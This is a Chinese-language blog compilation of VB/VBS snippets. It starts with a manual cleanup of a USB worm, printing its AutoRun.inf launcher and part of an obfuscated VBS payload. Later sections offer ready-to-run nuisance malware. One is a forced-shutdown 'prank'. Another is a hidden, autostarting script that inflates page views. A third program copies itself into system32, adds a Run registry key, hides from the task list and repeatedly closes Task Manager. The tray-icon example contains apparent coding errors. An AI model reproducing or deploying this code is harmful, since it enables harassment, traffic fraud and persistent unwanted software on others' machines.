手工查杀一个蠕虫病毒

昨天上网聊天,正在聊得好的时候,去软件盘里面找软件,怎么都变成快捷方式了,都不显示了,我没开杀软,这一定是病毒在搞的鬼了,把快捷方式删除掉,软件盘里面什么都没有了,删除的都是快捷方式,没事,文件肯定还藏在磁盘里面,用了下DOS命令,ATTRIB,没效果,还是不显示,于是我进PE看了下,看到里面的文件了,看到了每个磁盘里面都有两个文件,一个是AutoRun.inf,另一个是1066705994.vbs,第一个AutoRun.inf这个配置文件,是干嘛的呢,之前写了一篇文章里面写的修改U盘图标,就是用的这个文件夹,就是自动加载的意思,只要单击一下,就会触发他,先说下我之前因为看不到文件的原因吧,之前看不到文件的原因,那是因为这两个文件是受保护的系统文件属性,所以,在文件夹选项选择,显示所有文件夹(包括隐藏文件夹),然后显示系统文件夹也不显示,还有一个,就是隐藏操作系统受保护的文件,这里把对号去掉就可以看到我们的文件夹而不是快捷方式了。。。
看下AutoRun.inf里面的内容:
[AutoRun]
Shellexecute=WScript.exe 1066705994.vbs “AutoRun”
shell\open=HH(&O)
shell\open\command=WScript.exe 1066705994.vbs “AutoRun”
shell\open\Default=1
shell\explore=HHHHH(&X)
shell\explore\command=WScript.exe 1066705994.vbs “AutoRun”
这配置文件里面的意思就是自动加载 1066705994.vbs 这个脚本。。。 下面看下脚本的内容:
‘b”3X&&#&3ex’)!x3ax,(jr
‘_%);a/+Gr/$n$!((Un!0;a/+X^.!|0!j}&!~0C=/~m%ko%*bI”%g`/5/o!h+]&`~o=DUn!0;r/$n$!((X^.!|0!j}&!~0C=3n~m%,oInc!(g=DU^|((;h|%*CDkp
‘5WDa/CKPijon
‘Ihy?llilyL_mog_yH_rn4>cgy;lam&yPclomFi[^&yPclom;mm4M_ny;lam7QM]lcjn(;laog_hnm4PclomFi[^7A_nG[chPclom”+#4Pclom;mm7A_nG[chPclom”*#4;laHog7*4>iyQbcf_y;laHogy6y;lam(=iohn4J[l[g7J[l[g {y{ ;lam”;laHog#4;laHog7;laHogy%y+4Fiijqr
‘}@-z,=,8gvm,>0R|423?Rz,=,8VJ]SSmk
‘Zlslj{‘Jhzl’Z|iWhyhtip
‘@^pb|~ork~rk
‘u92s%8,`o)*8Kzv’6-48Qv’6-48i900q%1)OCUL]f%00Cu92Ku92s%8,L]f%00Cl2:%()v=78)1Ky-697o3%(Oy-697d77L]f%00Cu92KEHv=78)1u338H 7=78)1 7:’,378Q)<)CEIy-697o3%(Lln
‘|;M?Y[NRN[eY[FIA[e[CHC[Ye[CH@[np
‘*MF(9L@tY\+QKL=E*GGL\4KQKL=Eji4&’,|(x{e|0|WY](9J9Eqz9DDW*MF_*MF(9L@`qz9DDW!FN9<=+QKL=E_.AJMK$G9<c.AJMKxKK`qz9DDW*MF_Y\+QKL=E*GGL\4KQKL=E4KN;@GKLe=P=WY].AJMK$G9<`nn
‘.L^PjlML_lvjlNXOlpm
…………………..
都是一堆乱码,可惜了,需要解密,解密需要用两次execute函数来解密,解密就不说了吧。。。喜欢研究的人可以去研究下,这个话题主要讨论手工查杀这个蠕虫病毒。。。
这个病毒其实很垃圾的,没什么破坏性,只是会把所有盘的文件夹变成快捷方式而已,只要把隐藏操作系统受保护的文件那里的 对号去掉,就是不让他隐藏,显示出来,把这两个文件删除就可以了,注意,要全盘都删除,只要有一个盘没删除,就会感染所有盘,我的好像是U盘感染了,手工查杀蠕虫病毒就是这样了,这个是比较低级的病毒,我把病毒提取出来了,下载了360杀毒软件,查杀下,杀软不报毒,虽然这个对电脑没什么大的危害,但是也具有恶意性了,所有有些东西,也不能全靠杀毒软件,不是有句话说:伤人之心不能有,防人之心不能没有,换到个人电脑上就应该讲:不防病毒之心不能有(防病毒之心不能没有),不用杀软之心不可有,嘿嘿,好像绕口令,这个病毒就是让我这么给清理掉的。。。

 

VB菜鸟整人代码

在窗体的按钮一代码

Option Explicit
Private Sub Command1_Click()
Dim wood As String
MsgBox  "密码:我是猪", vbCritical,"网痴友情提示" '这里写捉弄人的话
wood = InputBox("请输入密码:")
If wood = "骂自己" Then '密码可以自己设
End
Else
Shell "cmd.exe /c shutdown -s -t 60" '60秒后关几
End If
End Sub

在窗体的按钮二代码

Private Sub Command2_Click()
Shell "cmd.exe /c shutdown -a"
MsgBox "不怎么好玩", vbExclamation,"不玩了"
End
End Sub

下面段代码是VBS,可以单独用,也可以嵌入网页用。。。

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c "密码:我是猪 ",0 ,true
dim a
do while(a &lt;&gt; "我是猪")
a = inputbox ("说我是猪,就不关机,快点说""系统"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈,帮我踩下空间哈 - 文件来自QQ610358898"

VBS几秒打开网页几秒后关闭网页刷网页PV

今天在家里走的时候想做一个刷PV的脚本,不在家的时候,谁打开电脑还可以自动帮我刷流量,不过别人可能会以为这是病毒哦,不过还好啦,这不是病毒,下面讲一下代码用到的知识吧,需要vbs脚本和DOS命令配合起来使用哦。

do while true
loop

//这是一个循环

set txt=createobject("wscript.shell")
txt.run "iexplore http://www.0535code.com"
wscript.sleep 1000 '延时1秒
txt.run "taskkill /im IEXPLORE.exe"
'这里是核心代码了

创建对象, 对象运行IE方法,在指定的时间内运行后释放掉对象,一直这样的死循环就可以了。

合并到一起代码就是:

do while true
set txt=createobject("wscript.shell")
txt.run "iexplore http://www.0535code.com"
wscript.sleep 1000 '延时60秒
txt.run "taskkill /im IEXPLORE.exe"
loop

把这段代码用记事本打开,另存为0535code.vbs

保存后移动到C盘,然后用DOS命令Attrib隐藏掉+r +a +s +h 这个参数大家可以去自己查。避免别人发现删掉了,或者修改了、

剩下最后一步就是把这个vbs的快捷方式移动到开始菜单里面的程序中的启动文件夹里,这样就是开机启动了,就可以自动刷网站的PV了。同时也是一些病毒的实现原理,这里是编程学习的平台哦,希望大家不要做坏事哦。

让你鼠标变蜗牛速度,践踏屏幕,开机自启动

? 马上就要开学了,一假期想想自己好像也没学到具体的知识,学到了经验,那天看到自己村一个初中的孩子,在桌面有一个vbs脚本玩人的程序,那个我以前在网上也看到过,没什么技术含量,可是曾经我在网上认识一个男的,他现在在从事网络安全维护,知道的挺多,没想到他竟然不知道vbs脚本,还有现在多少大学生不知道的,或许知道嵌入在网页,知道在window宿主里面用麽,那小小的初中生现在就开始学了,以后栋梁之材呐,呵呵,好了不罗索了,今天想在这里发表一个程序,有人叫做病毒,他有病毒的一些属性,但是不是病毒,没破坏性,不过自己编译了以后,自己用的话,如果没装双系统或者不会有U盘启动系统的话,那就不要在自己系统轻易去尝试哦,好了下面开始拿出代码来了~!~!·

先声明API函数~!~ 具体不解释了,想知道的话去VB的MSDN集合自己找去~!

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
'下面是在窗体装入的时候要发生的事件,要发生两个事件哦~!
Private Sub Form_Load()
App.TaskVisible = False    '这里是在任务管理器中的应用程序不显示
App.Title = wangchi        '这里是标题
'
Dim SourceFile, DestinationFile            '这里是复制函数哦~!下面就开始了
SourceFile = "C:\Documents and Settings\Administrator\桌面\wangchi.exe"   ' 这里是指定源文件名。
DestinationFile = "C:\WINDOWS\system32\wangchi.exe"   '这里是 指定目的文件名。
FileCopy SourceFile, DestinationFile   ' 将源文件的内容复制到目的文件中
'
'Set my = CreateObject("WScript.Shell")        '这里是加入注册表启动项的过程, 前面是注册表键值,后面是路径了!
my.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wangchi", dirwin & "C:\WINDOWS\system32\wangchi.exe", "REG_SZ"
End Sub
'下面是在时间控件里需要做的,时间控件的interval 这里时间间隔自己随便设置,这里设置的时间就是这个速度返回操作~!
Private Sub Timer1_Timer()
hw = FindWindow(vbNullString, "Windows 任务管理器")
SendMessage hw, &H10, 0, 0
SendKeys "%"
Me.SetFocus
'
'下面的是让窗体不断 变颜色
If Form1.BackColor = vbRed Then
Form1.BackColor = vbGreen
Else
Form1.BackColor = vbRed
End If
'
'下面是让窗体在桌面上随机产生位置~!~!
Form1.Width = Rnd * 10000
Form1.Top = Rnd * 10000
Form1.Left = Rnd * 10000
Form1.Height = Rnd * 10000
For i = 1 To 1000
Randomize
PSet (ScaleWidth * Rnd, ScaleHeight * Rnd), QBColor(Rnd * 15)
Next i
End Sub
'这个代码就分析到这里了,提前声明,不理解的人不要乱用,出问题了不负责。  只供编程爱好者欣赏~!~

VB发邮件代码

下面段代码是VB发邮件代码

Private Sub Form_Load()
On Error Resume Next
Dim NameSa As String
Dim Email As Object
NameSa = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "longyunaihui@163.com" '你的发邮件地址,比如xxx@sina.com
Email.To = " 610358898@qq.com" 'example@163.com
Email.Subject = "测试一下" '邮件的标题
Email.Textbody = "现代职业学院" '& 邮件正文&
Email.AddAttachment "" '附件的路径
Email.Configuration.Fields.Item(NameSa & "sendusing") = 2
Email.Configuration.Fields.Item(NameSa & "smtpserver") = "smtp.163.com" 'smtp.sina.com 这里填邮件的smtp服务器
Email.Configuration.Fields.Item(NameSa & "smtpserverport") = 25 '
Email.Configuration.Fields.Item(NameSa & "smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameSa & "sendusername") = "longyunaihui@163.com" '你的邮箱用户名
Email.Configuration.Fields.Item(NameSa & "sendpassword") = "888888888" '你的邮箱密码
Email.Configuration.Fields.Update
Email.send
End Sub

引用资源管理器音乐文件

好多人都想给自己的程序加个背景音乐,但又不想附带个音乐文件,而想集成在一个程序中.
那怎么实现呢?呵呵,简单的给大家讲一下我用的方法:

要想播放音乐,当然得把音乐文件给释放出来,然后再去播放

Public Function SaveFileFromRes(vntResourceID As Variant, sType As String, sFileName As String) As Boolean
Dim bytImage() As Byte
Dim iFileNum As Integer
On Error GoTo SaveFileFromRes_Err
SaveFileFromRes = True
'
bytImage = LoadResData(vntResourceID, sType)
iFileNum = FreeFile
'
Open sFileName For Binary As iFileNum
Put #iFileNum, , bytImage
Close iFileNum
Exit Function
SaveFileFromRes_Err:
SaveFileFromRes = False: Exit Function
End Function
'
'Copy Code
Private Sub Form_Load()
SaveFileFromRes 101, "CUSTOM", "C:\WINDOWS\system32\1.mid"
'
End Sub

接着就是去播放你的音乐文件了

我的思路是用WMP控件完成
添加个WMP控件,由于是背景音乐,所以不能让别人看见你的播放器
故把WMP的可见属性改为假
然后在Form_Load事件中加下面这行播放代码即可
WindowsMediaPlayer1.URL = “C:\WINDOWS\system32\1.mid”
OK,大致的过程就完成了,启动你的程序,应该就有背景音乐了吧.HOHO~
下面接着来优化下代码:

优化一:让背景音乐循环播放

Private Sub WindowsMediaPlayer1_PlayStateChange(ByVal NewState As Long)
If NewState = 1 Then
WindowsMediaPlayer1.Controls.play
End If
End Sub

优化二:
退出程序时把释放的音乐文件删除

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Kill "C:\WINDOWS\system32\1.mid"
End Sub

这样就差不多了,暂时就用这种笨法子啦…

用VB实现窗口图标最小化到系统托盘

如何做到当我们单击窗口的最小化按钮时,窗口先最小化到任务栏成为按钮,然后消失,图标显示到通知栏呢?大家熟悉的FoxMail能做到,我们也可以做到。
只要我们能截获最小化这个事件发送给窗口的消息,然后换成我们自定义的过程,问题就解决了。大家仔细想一想,当按下最小化按纽时会引发什么事件?最小化时窗口大小会发生变化会引发Form1.Resize事件,我们只要在Form1.Resize事件里用Form1.Visible = False使窗口消失,然后将窗口图标显示到通知栏即可达到我们想要的效果。
怎样判断发生Resize事件时窗口是最小化状态呢?VB里没有现成的做法,我们可以用非富的API函数。API函数库里有一个函数IsIconic(ByVal hwnd As Long),它就是专门判断窗口是否已最小化的。这样当Form产生Resize事件时,用IsIconic函数判断一下窗口是否为最小化状态,就可知道是否用户按了最小化按钮。
最关键的一步就是将图标显示在通知栏里,VB里没有现成的做法,我们还得用API函数。API函数库里有一个函数Shell_NotifyIcon(ByVal dwMessage As Long, lpData As NOTIFYICONDATA),是专门操作(包括添加、修改、删除)通知栏里图标的。
点一下通知栏图标,会出现一些诸如”退出”、”显示窗口”的弹出菜单,怎样实现弹出菜单呢?这个很容易实现,因为点击图标会触发图标所在窗口的MouseDown事件,我们把弹出菜单触发过程写入Form1_MouseDown事件即可。具体例程如下:
第一步、为了增强程序的可移植性,我们新建一个模块,取名为:NoticeIcon,在此模块中定义一些常量、自定义类型、所需的API函数说明及操作通知栏图标的三个自定义函数(添加、修改、删除),模块NoticeIcon具体代码如下所示:

Public Const DefaultIconIndex = 1 '图标缺省索引
Public Const WM_LBUTTONDOWN = &H201 '按鼠标左键
Public Const WM_RBUTTONDOWN = &H204 '按鼠标右键
Public Const NIM_ADD = 0 '添加图标
Public Const NIM_MODIFY = 1 '修改图标
Public Const NIM_DELETE = 2 '删除图标
Public Const NIF_MESSAGE = 1 'message 有效
Public Const NIF_ICON = 2 '图标操作(添加、修改、删除)有效
Public Const NIF_TIP = 4 'ToolTip(提示)有效
'API函数声明
'图标操作
Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
'判断窗口是否最小化
Declare Function IsIconic Lib "user32" (ByVal hwnd As Long) As Long
'
'设置窗口位置和状态(position)的功能
Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
'
'定义类型
'通知栏图标状态
Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type
'
'函数定义
'添加图标至通知栏
Public Function Icon_Add(iHwnd As Long, sTips As String, hIcon As Long, IconID As Long) As Long
'参数说明:iHwnd:窗口句柄,sTips:当鼠标移到通知栏图标上时显示的提示内容
'hIcon:图标句柄,IconID:图标Id号
Dim IconVa As NOTIFYICONDATA
With IconVa
.hwnd = iHwnd
.szTip = sTips + Chr$(0)
.hIcon = hIcon
.uID = IconID
.uCallbackMessage = WM_LBUTTONDOWN
.cbSize = Len(IconVa)
.uFlags = NIF_MESSAGE Or NIF_ICON Or NIF_TIP
Icon_Add = Shell_NotifyIcon(NIM_ADD, IconVa)
End With
End Function
'删除通知栏图标(参数说明同Icon_Add)
Function Icon_Del(iHwnd As Long, lIndex As Long) As Long
Dim IconVa As NOTIFYICONDATA
Dim L As Long
With IconVa
.hwnd = iHwnd
.uID = lIndex
.cbSize = Len(IconVa)
End With
Icon_Del = Shell_NotifyIcon(NIM_DELETE, IconVa)
End Function
'修改通知栏图标(参数说明同Icon_Add)
Public Function Icon_Modify(iHwnd As Long, sTips As String, hIcon As Long, IconID As Long) As Long
Dim IconVa As NOTIFYICONDATA
With IconVa
.hwnd = iHwnd
.szTip = sTips + Chr$(0)
.hIcon = hIcon
.uID = IconID
.uCallbackMessage = WM_LBUTTONDOWN
.cbSize = Len(IconVa)
.uFlags = NIF_MESSAGE Or NIF_ICON Or NIF_TIP
Icon_Modify = Shell_NotifyIcon(NIM_MODIFY, IconVa)
End With
End Function

第二步:新建一窗口,取名为:Form1:

1、 设置属性如下:

.Name=Form1
.Caption="通知栏图标测试"
.Icon=(Icon),选择一个漂亮的图标
其它默认即可

2、 设置窗口全局变量,并设置初始值

'用于标识窗口是否已经按过最小化按纽
Dim MinFlag As Boolean
Private Sub Form1_Load()
MinFlag = False
End Sub

3、 窗口最小化时产生Resize事件,设置Form1.Resize事件,判断窗口是否最小化

Private Sub Form1_Resize()
'判断窗口是否最小化状态,并且是按最小化按纽后第一次发生Resize事件
If IsIconic(Me.hwnd) <> 0 And MinFlag = False Then
MinFlag = True
IcCardMain.Visible = False '隐藏窗口
'将窗口图标加入通知栏
Call Icon_Add(Me.hwnd, Me.Caption, IcCardMain.Icon, 0)
End If
End Sub

4、如图所示用菜单设计器建一个弹出菜单,取名为main,main内有一个菜单数组:
菜单一:m_Menu(0) 标题:显示窗口
菜单二:m_Menu(1))标题:退出
菜单事件:

Private Sub m_Menu_Click(Index As Integer)
Select Case Index
Case 0: '当单击"显示窗口"菜单时
Call Icon_Del(Form1.hwnd, 0) '删除通知栏图标
Form1.Show '调出窗口
Case 1: '当单击"退出"菜单时
Call Icon_Del(Form1.hwnd, 0) '删除通知栏图标
End '退出程序
End Select
End Sub

5、设置Form_MouseDown事件,用于单通知栏图标时调出弹出菜单

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim L
L = X \ 15
'点击通知栏图标,用鼠标右键时调出弹出菜单
IF L = WM_LBUTTONDOWN Then
Me.PopupMenu m_Main
'点击通知栏图标,用鼠标左键时,将通知栏图标改为另外的图标
ElseIF L = WM_LBUTTONDOWN Then
Call Icon_Modify(Form1.hwnd,Form1.Caption, LoadPicture("D:\Pic2.ico"), 0)
End If
End Sub

程序编写完毕,设置工程的主程序为Form1,保存后运行。按下窗口最小化按纽,窗口消失,并在通知栏显示出窗口的图标;将鼠标移到图标上,有”通知栏图标测试”提示文本显示;用鼠标左键单击通知栏图标,图标变成另外的图案;单出鼠标右键,出现如上图所示的弹出菜单,接着单击弹出菜单”显示窗体”,通知栏图标消失、窗口又恢复成原来的样子了,单击菜单”退出”则退出程序了。